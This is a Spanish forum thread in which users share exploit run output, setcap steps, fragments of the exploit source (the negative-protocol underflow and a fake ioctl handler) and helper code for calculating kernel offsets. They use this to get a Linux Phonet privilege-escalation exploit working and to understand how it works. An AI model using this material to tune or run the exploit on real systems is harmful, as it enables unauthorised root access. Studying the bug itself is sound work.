Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: illera88 en 24 Enero 2011, 20:35 pm



Título: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: illera88 en 24 Enero 2011, 20:35 pm
(http://cerebro-digital.com/noticias/wp-content/uploads/2010/09/ae2744108fgoogle.jpg.jpg)

Hola a todos. Estos días han sido un poco raros y aún sigo con exámenes a si que hacía bastante tiempo que no hacía un videotutorial.
En este lo que hago es una elevación de privilegios en un SO linux (en este caso Kubuntu). Este es el nombre que le han dado en Exploit-DB: Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit).
Culquier duda que tengáis ya sabéis que dejáis un comentario e intentaré solucionárosla.


La música del vídeo es a cargo de Full House (http://www.myspace.com/fullhousesalamanca) un grupo de 5 tarados que siempre están ahí cuando se les necesita. Recomiendo que escuchéis sus canciones pero nunca nunca a ellos filosofando sobre la vida, mujeres...


Espero que os guste el vídeo:

 http://www.youtube.com/embed/f4GPfuH8Hlw

FUENTE: www.metasploiter.com


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: EvilGoblin en 19 Febrero 2011, 15:41 pm
No lo habia visto, hoy a la noche lo pruebo en Slackware y modifico aca avisando que tal me fue ^^

Gracias! muy bueno para tenerlo en el pendrive :P


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: EvilGoblin en 19 Febrero 2011, 21:07 pm
Código:
bash-4.1# setcap cap_sys_admin+ep exploit
bash-4.1# exit
exit
bash-4.1$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[*] Failed to resolve kernel symbols.

No me funciono, no encontro CAP_SYS_ADMIN


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Shell Root en 20 Febrero 2011, 01:02 am
Funciona, pero hay que tener instalado lo siguiente,
Código
  1. alex@shellroot:~$ sudo apt-get install libcap2-bin

Output:
Código
  1. alex@shellroot:~/Escritorio$ gcc -w PoC.c -o PoC
  2.  
  3. alex@shellroot:~/Escritorio$ sudo setcap cap_sys_admin+ep PoC
  4.  
  5. alex@shellroot:~/Escritorio$ whoami
  6. alex
  7.  
  8. alex@shellroot:~/Escritorio$ ./PoC
  9. [*] Testing Phonet support and CAP_SYS_ADMIN...
  10. [*] Resolving kernel symbols...
  11. [+] Resolved proto_tab to 0xfacd59e8
  12. [+] Resolved pn_proto to 0xfacd5840
  13. [+] Resolved pn_proto to 0xfacd5840
  14. [+] Resolved commit_creds to 0xc016c960
  15. [+] Resolved prepare_kernel_cred to 0xc016cdb0
  16. [*] Preparing fake structures...
  17. [*] Copying Structures.
  18. [*] Underflowing with offset -70
  19. [*] Elevating privlidges...
  20. [*] This was a triumph... I\'m making a note here, huge success.
  21. # whoami
  22. root
  23. #


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Garfield07 en 20 Febrero 2011, 12:31 pm
xD y si no lo tengo instalado cómo lo instalo? xD
Vale, un detalle...
Código:
alex@shellroot:~/Escritorio$ sudo setcap cap_sys_admin+ep PoC
¿Me descargo un programa para el que necesito ser root para conseguir ser root? Una cosilla... ¿qué es setcat? xD


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: xassiz~ en 20 Febrero 2011, 13:31 pm
Una cosilla... ¿qué es setcat? xD
Citar
Name
setcap - set file capabilities

Synopsis
setcap capabilities filename [ ... capabilitiesN fileN ]

Description
setcap sets the capabilities of each specified filename to the capabilities specified. The capabilities are specified in the form described in cap_from_text (http://linux.die.net/man/3/cap_from_text)(3).


The special filename, '-', can be used to indicate that capabilities are read from the standard input. In such cases, the capability set is terminated with a blank line.
:silbar:


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Garfield07 en 20 Febrero 2011, 13:50 pm
Que se entiende como "capacidades de un archivo"?  :¬¬

Entended que eso no viene preinstalado, y si no usas algo en linux no lo utilizas. Vamos, yo no lo tengo instalado, así que el exploit no funciona.
En resumen, no es un exploit del kernel, es de un complemento del kernel. Eso es importante xD.
De todos modos buen aporte  :)

__________________________________________________

Una cosa... ¿dónde buscas qué es cada comando? En el man no sale, y en google te sale una empresa rarísima por toda la página. Si eso me lo mandas por PM que me hace falta xD; lo he buscado y ni idea :P


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: xassiz~ en 20 Febrero 2011, 13:52 pm
Una cosa... ¿dónde buscas qué es cada comando? En el man no sale, y en google te sale una empresa rarísima por toda la página. Si eso me lo mandas por PM que me hace falta xD; lo he buscado y ni idea :P
Here (http://linux.die.net/man/8/setcap)


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: EvilGoblin en 20 Febrero 2011, 18:18 pm
Sagrini como te dijeron, el exploit lo armas en tu PC con acceso a ROOT y lo ejecutas en una maquina donde no tenga acceso a root.

yo tengo instalado libcap pero no libcap2, y es necesario que en la maquina que se ejecute tenga instalado libcap2 ????


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Lunfardo en 20 Febrero 2011, 19:17 pm

Código:

[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xe255a1e8
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
Killed



=( , que habra pasado ?


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Garfield07 en 20 Febrero 2011, 21:08 pm
Sagrini como te dijeron, el exploit lo armas en tu PC con acceso a ROOT y lo ejecutas en una maquina donde no tenga acceso a root.

yo tengo instalado libcap pero no libcap2, y es necesario que en la maquina que se ejecute tenga instalado libcap2 ????
Yo pensaba que sí es necesario... Por eso lo decía xD
De todos modos, primero hay que saber acceder xD y aún estoy peleado con el serv de pruebas que me he hecho...

Suerte!


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 24 Febrero 2011, 23:59 pm
Hola!!!

Estaba probando este exploit y a mi no me ha funcionado:

Código:
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf8133fa8
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved commit_creds to 0xc016eb60
 [+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.

He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro.
Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo
Código:
 proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }

De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket?

Gracias de antemano


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 26 Febrero 2011, 23:58 pm
Código:
bash-4.1# setcap cap_sys_admin+ep exploit
bash-4.1# exit
exit
bash-4.1$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[*] Failed to resolve kernel symbols.

No me funciono, no encontro CAP_SYS_ADMIN

Capaz q ya lo solucionaste, pero no te funcionaba porq no tenes el kernel compilado para debug, con todos los simbolos. Te podes fijar a mano si tenes al menos el primer simbolo definido:

Código:
cat /proc/kallsyms | grep proto_tab

Hola!!!

Estaba probando este exploit y a mi no me ha funcionado:

Código:
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf8133fa8
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved commit_creds to 0xc016eb60
 [+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.

He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro.
Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo
Código:
 proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }

De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket?

Gracias de antemano


Te falla porq capaz q no es vulnerable el driver. El error lo explica maso por arriba Dan Rosenberg en su exploit:

Código:
 /* This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 */

Eso, el error esta en el driver del protocolo de red phonet. Parece ser que cuando se le pasa un valor negativo a socket() se pueden sobreescribir ciertas estructuras en el driver. Entre ellas, la q define el manejador de las ioctl.

Código:
    const struct proto_ops_skel fake_proto_ops2 = {
            .family     = AF_PHONET,   
            .ioctl      = &getroot,
    };     
 

Igual Rosenberg la pinta como q es mucho mas complicado, asi q calculo que el error debe tener su historia.


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 1 Marzo 2011, 00:05 am
Para los que les interese sigo spammeando xD.

Clonee el source del kernel y encontre el error en net/phonet/af_phonet.c:40

Código:
static struct phonet_protocol *phonet_proto_get(int protocol) 
{
if (protocol >= PHONET_NPROTO)
return NULL;
        ...
pp = rcu_dereference(proto_tab[protocol]);
        ...
return pp;
}

En el if se puede ver el error de signo.  Aprovecha proto_tab[protocol] para apuntar a las estructuras en espacio de usuario! Se las rebuscan re bien...


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 1 Marzo 2011, 22:56 pm
Hola!!

En mis fuentes esta igual, pero a mi no me funciona (ya postee anteriormente). Dejo aqui el codigo de mi source:

Código:
static struct phonet_protocol *phonet_proto_get(int protocol)
{
        struct phonet_protocol *pp;

        if (protocol >= PHONET_NPROTO)
                return NULL;

        rcu_read_lock();
        pp = rcu_dereference(proto_tab[protocol]);
        if (pp && !try_module_get(pp->prot->owner))
                pp = NULL;
        rcu_read_unlock();

        return pp;
}


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 2 Marzo 2011, 19:41 pm
mmh, estuve viendo y no llego a nada concreto,

Código
  1. proto = -((proto_tab - low_kern_sym) / sizeof(void *));

Pasado en limpio:

Código
  1. proto = -((proto_tab - (pn_proto + SYM_OFFSET)) / sizeof(void *));

Da la impresion que trata de referenciar la estructura pn_dgram_proto (net/phonet/datagram.c:200) que esta justo despues de pn_proto. Con
proto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente.
Si esa es la idea entonces lo que puede pasar es que tu SYM_OFFSET no se corresponda con tu driver. El valor que le tenes que meter es el tamaño de pn_proto (include/net/sock.h:726). Igual no estoy seguro porque si quisiese agarrar un puntero a pn_dgram_proto ya lo habria sacado desde /proc/kallsyms directamente evitandose la macro SYM_OFFSET.

Por eso sigo confundido, todavia no se como hace para que se referencien las estructuras falsas a partir de la dir SYM_ADDRESS. Porque por lo que pude entender es esa la idea, las estructuras son las mismas que las variables phonet_dgram_ops (net/phonet/socket.c:461) y pn_dgram_proto (net/phonet/datagram.c:200). Y encima estan bien armadas para pasar las verificaciones (try_module(), sock_type, etc) agarrando un puntero a pn_proto y falsificando el otro puntero para cambiar la ioctl:

Código
  1.    const struct proto_ops_skel fake_proto_ops2 = {
  2.            .family     = AF_PHONET,  
  3.            .ioctl      = &getroot,
  4.    };    
  5.  
  6.    struct phonet_protocol_skel pps = {
  7.            .ops = (void *) &fake_proto_ops2,
  8.            .prot = (void *) pn_proto,
  9.            .sock_type = SOCK_DGRAM,
  10.    };

Seguire viendo a ver si llego a algo...


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 2 Marzo 2011, 20:23 pm
Se me acaba de ocurrir que sea posible que justo al offset pn_proto + SYM_OFFSET exista el valor SYM_ADDRESS y de esa manera referenciar las estructuras falsas! De hecho ahi me fije y mirando bien encontre algo interesante:

SYM_ADDRESS =  0x4e4f4850 pasandolo a ascii (sisi a ascii!) ===> "NOHP" ... "PHON" en little endian ;D

Y mirando pn_proto

Código
  1. static struct proto pn_proto = {
  2. .close = pn_sock_close,
  3.        [...]
  4. .name = "PHONET", // aca esta lo que busca con SYM_OFFSET!
  5. };
  6.  

Mirando la estructura proto:

Código
  1. struct proto {
  2. void (*close)(struct sock *sk,
  3. long timeout);
  4.       [...]
  5. #ifdef CONFIG_COMPAT
  6. int (*compat_setsockopt)(struct sock *sk,
  7. int level,
  8. int optname, char __user *optval,
  9. unsigned int optlen);
  10.       [...]
  11. #endif
  12.  
  13.       [...]
  14.  
  15. #ifdef CONFIG_PROC_FS
  16. unsigned int inuse_idx;
  17. #endif
  18.  
  19. struct module *owner;
  20.  
  21. char name[32];
  22.  
  23.       [...]
  24. };
  25.  

Si cuando se compilo tu kernel esas macros que se ven estaban activadas habria que contar la cantidad de bytes que tenes hasta name y ponerle ese valor a SYM_OFFSET.

Sinceramente muy bueno lo de Joe Sylve usando el string "PHONET" para referenciar sus estructuras. Comparado al exploit de Rosenberg, le cago a cachetadas ;D, le tiro una onda "Rose, dejame a mi que vos no tenes ni idea" jaja.


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 3 Marzo 2011, 18:03 pm
M3st4ng,

Capaz que no me explique muy bien. Para resumir el valor que necesitas ponerle a SYM_OFFSET lo podes sacar asi:

Código
  1. #include <iostream>
  2.  
  3. using namespace std;
  4.  
  5. #define CONFIG_COMPAT 1
  6. #define CONFIG_PROC_FS 1
  7.  
  8. struct proto {
  9. void *ptrs_1[10];
  10. #ifdef CONFIG_COMPAT
  11. void *ptrs_2[3];
  12. #endif
  13. void *ptrs_3[10];
  14. #ifdef CONFIG_PROC_FS
  15. unsigned int inuse_idx;
  16. #endif
  17. void *ptrs_4[7];
  18. int max_header;
  19. bool no_autobind;
  20. void *ptrs_5;
  21. unsigned int obj_size;
  22. int slab_flags;
  23. void *ptrs_6[5];
  24. // char name[32];
  25. };
  26.  
  27. int main() {
  28. cout << "#define SYM_OFFSET 0x" << hex << sizeof(struct proto) << endl;
  29. }
  30.  

Compilalo con g++, ejecutalo y proba con el valor que te tire.

Los punteros que le agregue los conte de la estructura proto que tengo definida en include/net/sock.h:726, te la pego aca para que la puedas comparar con la tuya.

Código
  1. struct proto {
  2. void (*close)(struct sock *sk,
  3. long timeout);
  4. int (*connect)(struct sock *sk,
  5.        struct sockaddr *uaddr,
  6. int addr_len);
  7. int (*disconnect)(struct sock *sk, int flags);
  8.  
  9. struct sock * (*accept) (struct sock *sk, int flags, int *err);
  10.  
  11. int (*ioctl)(struct sock *sk, int cmd,
  12. unsigned long arg);
  13. int (*init)(struct sock *sk);
  14. void (*destroy)(struct sock *sk);
  15. void (*shutdown)(struct sock *sk, int how);
  16. int (*setsockopt)(struct sock *sk, int level,
  17. int optname, char __user *optval,
  18. unsigned int optlen);
  19. int (*getsockopt)(struct sock *sk, int level,
  20. int optname, char __user *optval,
  21. int __user *option);  
  22. #ifdef CONFIG_COMPAT
  23. int (*compat_setsockopt)(struct sock *sk,
  24. int level,
  25. int optname, char __user *optval,
  26. unsigned int optlen);
  27. int (*compat_getsockopt)(struct sock *sk,
  28. int level,
  29. int optname, char __user *optval,
  30. int __user *option);
  31. int (*compat_ioctl)(struct sock *sk,
  32. unsigned int cmd, unsigned long arg);
  33. #endif
  34. int (*sendmsg)(struct kiocb *iocb, struct sock *sk,
  35.   struct msghdr *msg, size_t len);
  36. int (*recvmsg)(struct kiocb *iocb, struct sock *sk,
  37.   struct msghdr *msg,
  38. size_t len, int noblock, int flags,
  39. int *addr_len);
  40. int (*sendpage)(struct sock *sk, struct page *page,
  41. int offset, size_t size, int flags);
  42. int (*bind)(struct sock *sk,
  43. struct sockaddr *uaddr, int addr_len);
  44.  
  45. int (*backlog_rcv) (struct sock *sk,
  46. struct sk_buff *skb);
  47.  
  48. /* Keeping track of sk's, looking them up, and port selection methods. */
  49. void (*hash)(struct sock *sk);
  50. void (*unhash)(struct sock *sk);
  51. void (*rehash)(struct sock *sk);
  52. int (*get_port)(struct sock *sk, unsigned short snum);
  53. void (*clear_sk)(struct sock *sk, int size);
  54.  
  55. /* Keeping track of sockets in use */
  56. #ifdef CONFIG_PROC_FS
  57. unsigned int inuse_idx;
  58. #endif
  59.  
  60. /* Memory pressure */
  61. void (*enter_memory_pressure)(struct sock *sk);
  62. atomic_long_t *memory_allocated; /* Current allocated memory. */
  63. struct percpu_counter *sockets_allocated; /* Current number of sockets. */
  64. /*
  65. * Pressure flag: try to collapse.
  66. * Technical note: it is used by multiple contexts non atomically.
  67. * All the __sk_mem_schedule() is of this nature: accounting
  68. * is strict, actions are advisory and have some latency.
  69. */
  70. int *memory_pressure;
  71. long *sysctl_mem;
  72. int *sysctl_wmem;
  73. int *sysctl_rmem;
  74. int max_header;
  75. bool no_autobind;
  76.  
  77. struct kmem_cache *slab;
  78. unsigned int obj_size;
  79. int slab_flags;
  80.  
  81. struct percpu_counter *orphan_count;
  82.  
  83. struct request_sock_ops *rsk_prot;
  84. struct timewait_sock_ops *twsk_prot;
  85.  
  86. union {
  87. struct inet_hashinfo *hashinfo;
  88. struct udp_table *udp_table;
  89. struct raw_hashinfo *raw_hash;
  90. } h;
  91.  
  92. struct module *owner; // 41 ptrs until here
  93.  
  94. char name[32];
  95.  
  96. struct list_head node; // include/linux/types.h  2 ptrs
  97. #ifdef SOCK_REFCNT_DEBUG
  98. atomic_t socks; // include/linux/types.h  1 int
  99. #endif
  100. };
  101.  

Proba y avisanos como te fue!


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 3 Marzo 2011, 23:28 pm
Hola Ivanchuk!!!

Gracias por toda la info que estás  posteando.
Bueno primero te comento la prueba:
He compilado el código que me has pasado y he hecho la prueba... ha fracado...
Ahora bien, estoy aún intentando entender lo que dices... perdona mi ignorancia pero me he perdido un pelín (para eso estoy aprendiendo).
Citar
proto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente.

Me imagino que esto que comentas lo estarás mirando en el /proc/kallsyms no¿?
Perdona si no te contesto con rapidez, casi no tengo tiempo para mirar el foro y hemos para probar.

Muchas gracias


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: andres_5 en 4 Marzo 2011, 14:13 pm
Código:

[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xe255a1e8
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
Killed



=( , que habra pasado ?
Me pasa lo mismo, he estado probando y me sale esto:
Código:
andres@andres-desktop:~/Escritorio$ gcc -w exploit.c -o exploit
andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit
unable to set CAP_SETFCAP effective capability: Operation not permitted
andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit
unable to set CAP_SETFCAP effective capability: Operation not permitted
andres@andres-desktop:~/Escritorio$ sudo setcap cap_sys_admin+ep exploit
[sudo] password for andres:
andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit
unable to set CAP_SETFCAP effective capability: Operation not permitted
andres@andres-desktop:~/Escritorio$ sudo -s
root@andres-desktop:~/Escritorio# setcap cap_sys_admin+ep exploit
root@andres-desktop:~/Escritorio# exit
exit
andres@andres-desktop:~/Escritorio$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf81291e8
 [+] Resolved pn_proto to 0xf8129040
 [+] Resolved pn_proto to 0xf8129040
 [+] Resolved commit_creds to 0xc016e080
 [+] Resolved prepare_kernel_cred to 0xc016e3c0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
Terminado (killed)
nose si sere vulnerable, pero estoy en ubuntu 10.04 y llevo sin actualizarlo 1 o 2 meses.
Saludos


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 5 Marzo 2011, 21:32 pm
Hola Ivanchuk!!!

Gracias por toda la info que estás  posteando.
Bueno primero te comento la prueba:
He compilado el código que me has pasado y he hecho la prueba... ha fracado...
Ahora bien, estoy aún intentando entender lo que dices... perdona mi ignorancia pero me he perdido un pelín (para eso estoy aprendiendo).
Me imagino que esto que comentas lo estarás mirando en el /proc/kallsyms no¿?
Perdona si no te contesto con rapidez, casi no tengo tiempo para mirar el foro y hemos para probar.

Muchas gracias

Si mirando /proc/kallsyms y por como el exploit aprovecha el error. El error me cuesta un poco explicarlo pero te muestro con un ejemplo sino, imaginate que tenes un arreglo de punteros a chars
Código
  1. char *proto_tab[3];

Y que mas tarde tenes una funcion que hace esto
Código
  1. char *ptr = proto_tab[index];
  2.  

Y ponete a pensar que pasa si index es negativo, a donde apuntaria ptr?.

Ahi modifique el codigo para que obtengas un offset segun las config de tu kernel y ademas saque la definicion de proto del source del build de mi kernel que resulto ser un poco diferente al codigo que te puse antes (la idea seria que vos las saques del tuyo).
Código
  1. #include <linux/autoconf.h>
  2. #include <stdio.h>
  3.  
  4. #define CONFIG_COMPAT 1
  5.  
  6. struct proto {
  7. void *ptr_1[10];
  8. #ifdef CONFIG_COMPAT
  9. void *ptr_2[2];
  10. #endif
  11. void *ptr_3[8];
  12. #ifdef CONFIG_PROC_FS
  13. unsigned int inuse_idx;
  14. #endif
  15. void *ptr_4[7];
  16. int max_header;
  17. void *ptr_5[5];
  18. unsigned int obj_size;
  19. int slab_flags;
  20. // char name[32];
  21. };
  22.  
  23. int main() {
  24. printf("#define SYM_OFFSET 0x%x\n", sizeof(struct proto));
  25. }
  26.  

Compilalo asi
Código
  1. gcc -I/lib/modules/`uname -r`/build/include test.c
  2.  

Te cuento que lo compile y con CONFIG_COMPAT definida me dio 0x90, lo mismo que en el exploit. Si te da lo mismo, proba sacar el define CONFIG_COMPAT.

Bueno, fijate compilando ese codigo y contanos.

Si queres sacar exactamente el offset correcto no se me ocurre otra que dumpear la memoria virtual del kernel.

@andres_5:
Podes poner la version del kernel que tenes? Pegate la salida de
Código
  1. uname -r

Porq el error lo parchearon el 10 de enero.


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: andres_5 en 5 Marzo 2011, 21:55 pm
Código:
andres@andres-desktop:~$ uname -a
Linux andres-desktop 2.6.32-26-generic #48-Ubuntu SMP Wed Nov 24 09:00:03 UTC 2010 i686 GNU/Linux
andres@andres-desktop:~$
Nose si sere vulnerable, supuse que si era vulnerable porque mi kernel es mas antiguo que el del video, y "normalmente", pense que una version anterior no vendria corregida. Pero bueno si podeis confirmarmelo mejor.
PD: si ejecuto un par de veces el exploit, el ordenador se me queda pillado totalmente, y tengo que reiniciar.
Saludos


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 6 Marzo 2011, 12:16 pm
Deberia serlo entonces, sobre todo si te cuelga la maquina xD. Ahi me fije y si, deberia ser vulnerable el tuyo.
Debes tener un problema de offset tambien, probaste compilando el codigo que le pase m3st4ng para obtener el offset?


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: andres_5 en 6 Marzo 2011, 18:14 pm
Código:
andres@andres-desktop:~/Escritorio$ gcc -I/lib/modules/`uname -r`/build/include test.c -o test
andres@andres-desktop:~/Escritorio$ '/home/andres/Escritorio/test'
#define SYM_OFFSET 0x90
Aqui esta tu aplicacion compilada y ejecutada, nose que sucede :S

Una pregunta, si quisiese usarlo en otro PC entonces tendria que compilarlo en ese, y prepararlo?? o direcctamente se puede ejecutar??
Saludos ;)


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 6 Marzo 2011, 23:30 pm
Hola Ivanchuck!

He probado el código que me has pasado y tambien me ha devuelto 0x90...
No he comentado que mi version del kernel es la 2.6.37.
Te dejo mi estructura proto a ver si tiene algo de pecualiar

Código:
struct proto {
void (*close)(struct sock *sk,
long timeout);
int (*connect)(struct sock *sk,
        struct sockaddr *uaddr,
int addr_len);
int (*disconnect)(struct sock *sk, int flags);

struct sock * (*accept) (struct sock *sk, int flags, int *err);

int (*ioctl)(struct sock *sk, int cmd,
unsigned long arg);
int (*init)(struct sock *sk);
void (*destroy)(struct sock *sk);
void (*shutdown)(struct sock *sk, int how);
int (*setsockopt)(struct sock *sk, int level,
int optname, char __user *optval,
unsigned int optlen);
int (*getsockopt)(struct sock *sk, int level,
int optname, char __user *optval,
int __user *option); 
#ifdef CONFIG_COMPAT
int (*compat_setsockopt)(struct sock *sk,
int level,
int optname, char __user *optval,
unsigned int optlen);
int (*compat_getsockopt)(struct sock *sk,
int level,
int optname, char __user *optval,
int __user *option);
#endif
int (*sendmsg)(struct kiocb *iocb, struct sock *sk,
   struct msghdr *msg, size_t len);
int (*recvmsg)(struct kiocb *iocb, struct sock *sk,
   struct msghdr *msg,
size_t len, int noblock, int flags,
int *addr_len);
int (*sendpage)(struct sock *sk, struct page *page,
int offset, size_t size, int flags);
int (*bind)(struct sock *sk,
struct sockaddr *uaddr, int addr_len);

int (*backlog_rcv) (struct sock *sk,
struct sk_buff *skb);

/* Keeping track of sk's, looking them up, and port selection methods. */
void (*hash)(struct sock *sk);
void (*unhash)(struct sock *sk);
void (*rehash)(struct sock *sk);
int (*get_port)(struct sock *sk, unsigned short snum);
void (*clear_sk)(struct sock *sk, int size);

/* Keeping track of sockets in use */
#ifdef CONFIG_PROC_FS
unsigned int inuse_idx;
#endif

/* Memory pressure */
void (*enter_memory_pressure)(struct sock *sk);
atomic_long_t *memory_allocated; /* Current allocated memory. */
struct percpu_counter *sockets_allocated; /* Current number of sockets. */
/*
* Pressure flag: try to collapse.
* Technical note: it is used by multiple contexts non atomically.
* All the __sk_mem_schedule() is of this nature: accounting
* is strict, actions are advisory and have some latency.
*/
int *memory_pressure;
long *sysctl_mem;
int *sysctl_wmem;
int *sysctl_rmem;
int max_header;
bool no_autobind;

struct kmem_cache *slab;
unsigned int obj_size;
int slab_flags;

struct percpu_counter *orphan_count;

struct request_sock_ops *rsk_prot;
struct timewait_sock_ops *twsk_prot;

union {
struct inet_hashinfo *hashinfo;
struct udp_table *udp_table;
struct raw_hashinfo *raw_hash;
} h;

struct module *owner;

char name[32];

struct list_head node;
#ifdef SOCK_REFCNT_DEBUG
atomic_t socks;
#endif
};

Aún así, no entiendo cómo el exploit apunta a esta estructura. ¿A qué parte de ella apunta,a toda o sólo a una parte?


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 6 Marzo 2011, 23:52 pm
Hola!!!

Lo acabo de probar con otra version del kernel, la 2.6.35 y sí que me ha funcionado..... En la 2.6.37 me imagino que estará parcheado. De todos modos, no sé cómo narices funciona este exploit aún, y es algo que me fastidia...

Salu2


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 7 Marzo 2011, 23:49 pm
No he comentado que mi version del kernel es la 2.6.37.
neeee, hubieses empezado por ahi!! :xD

Aún así, no entiendo cómo el exploit apunta a esta estructura. ¿A qué parte de ella apunta,a toda o sólo a una parte?
La idea es buscar cuantos bytes tenes hasta el campo char name[32] y eso se le mandas como offset.


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: andres_5 en 8 Marzo 2011, 00:47 am
yo sigo sin hacerlo funcionar, alguna idea, mi kernel es supuestamente vulnerable, a veces cuando lo ejecuto me muestra los mismo pero al final me pone terminado(killed) y si luego lo vuelvo a ejecutar, me hace un bloqueo general del PC.
Si sabeis algo que pueda probar, lo agradeceria.
Saludos


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 8 Marzo 2011, 13:35 pm

Citar
La idea es buscar cuantos bytes tenes hasta el campo char name[32] y eso se le mandas como offset.

Mmmm entonces si no he entendido mal, esto es lo que se supone que hace:

1. Se le pasa a la función socket el protocolo -70
2. Esto hace que proto_tab[protocol] apunte a direcciones más baja:
Código:
0xf8??????     proto {
                               .....
                               .....
                 
                                char name[32];  <-- proto_tab[-70] apuntaria aquí
                              }

0xf8??????     proto_tab{

                                   }

3. La varible "name" tiene valor PHONET, que transformado a Hex y cogiendo 4 bytes (PHON) es 0x4e4f4850

4. En esta dirección en memoria es donde tenemos nuestras estructuras falsas creadas

5. Al hacer la llamada ioctl hacemos que se ejecute el "getroot" de nuestra estructura

¿El exploit funciona como digo?



